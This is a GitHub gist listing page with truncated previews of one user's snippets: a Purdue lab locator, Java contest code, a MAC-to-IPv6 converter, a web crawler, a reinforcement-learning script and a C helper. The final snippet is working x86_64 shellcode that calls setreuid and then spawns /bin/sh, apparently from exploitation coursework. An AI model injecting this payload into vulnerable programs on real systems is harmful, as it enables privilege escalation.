Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

import java.io.*;
import java.util.*;
public class Main {
public static class Edge {
public int j, x;
public Edge(int j, int x) {
this.j = j;
this.x = x;
}
@austinschwartz
austinschwartz / whereami.py
Created February 7, 2017 00:46
Tells you what lab you're in @ Purdue (Haas/Lawson)
#!/usr/bin/env python3
import socket
host=socket.gethostname().split(".")[0]
if host.startswith("pod"):
print("LWSN B148")
elif host.startswith("xinu"):
print("HAAS 257")
elif host.startswith("borg"):
print("HAAS G040")
elif host.startswith("moore"):
@austinschwartz
austinschwartz / Main.java
Created January 24, 2017 17:42
Boxes AC O(n^6) code
import java.io.*;
import java.util.*;
public class Main {
public static PrintWriter out;
public static void main(String[] args) {
MyScanner sc = new MyScanner();
out = new PrintWriter(new BufferedOutputStream(System.out));
int[] boxes = new int[6];
for (int i = 0; i < 6; i++)
@austinschwartz
austinschwartz / mac.rb
Last active January 19, 2017 02:31
link-local unicast
mac = "98:4f:ee:00:0c:3a"
x = mac.split(':')
x.insert(3, 'ff')
x.insert(4, 'fe')
x[0] = (x[0].to_i(16) ^ 0b00000010).to_s(16)
x.insert(0, 'fe')
x.insert(1, '80')
x = x.each_slice(2).map{|x|x.join('')}.join(':')
x.insert(4, ":")
@austinschwartz
austinschwartz / Crawler.java
Last active October 21, 2016 23:08
In-memory crawler
import org.jsoup.Jsoup;
import org.jsoup.nodes.*;
import org.jsoup.select.Elements;
import java.io.*;
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
public class Crawler
@austinschwartz
austinschwartz / temporaldifference.py
Created October 19, 2016 18:25
MDP Temporal Difference w/ series of samples
#!/bin/python
v_pi = {
'G': {'right': 0.0, 'up': 0.0},
'W': {'exit': 0.0},
'B': {'up': 0.0, 'left': 0.0},
}
alpha = 0.5
def q_learn(s1, a, s2, r):
\documentclass[12pt]{extarticle}
\usepackage{extsizes}
\usepackage{fancyhdr}
\usepackage{extramarks}
\usepackage{amsmath}
\usepackage{amsthm}
\usepackage{amsfonts}
\usepackage{tikz}
\usepackage{enumitem}
@austinschwartz
austinschwartz / Railin.txt
Created July 31, 2016 16:51
Graalscript example by Railin
/*
NPC made by Railin
THIS SCRIPT IS PROTECTED BY INTERNATIONAL
INTELLECTUAL PROPERTY LAWS!
STEALING, MODIFYING OR REMOVING PARTS OF IT
WITHOUT CONSENT ARE CRIMINAL OFFENSES.
FOR THE PURPOSES OF THIS SCRIPT, THE GRAALONLINE
@austinschwartz
austinschwartz / beautiful_code.c
Created April 27, 2016 23:04
the most beautiful code that ever was
// This code is awful
// IT WORKS THOUGH :D
// High five whoevers reading this!
char *host_addr_to_string(char *addr) {
char *buf = (char*)malloc(22);
uint8_t ipb[4];
uint16_t port;
sscanf(addr, "%03hhu%03hhu%03hhu%03hhu:%05hu", &ipb[3], &ipb[2], &ipb[1], &ipb[0], &port);
sprintf(buf, "%hhu.%hhu.%hhu.%hhu:%03hu", ipb[3], ipb[2], ipb[1], ipb[0], port);
return buf;
setreuid(geteuid(),geteuid())
x86_64 shellcode
\x48\x31\xc0\xb0\x6b\x0f\x05\x48\x89\xc7\x48\x89\xc6\x48\x31\xc0\xb0\x71\x0f\x05\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05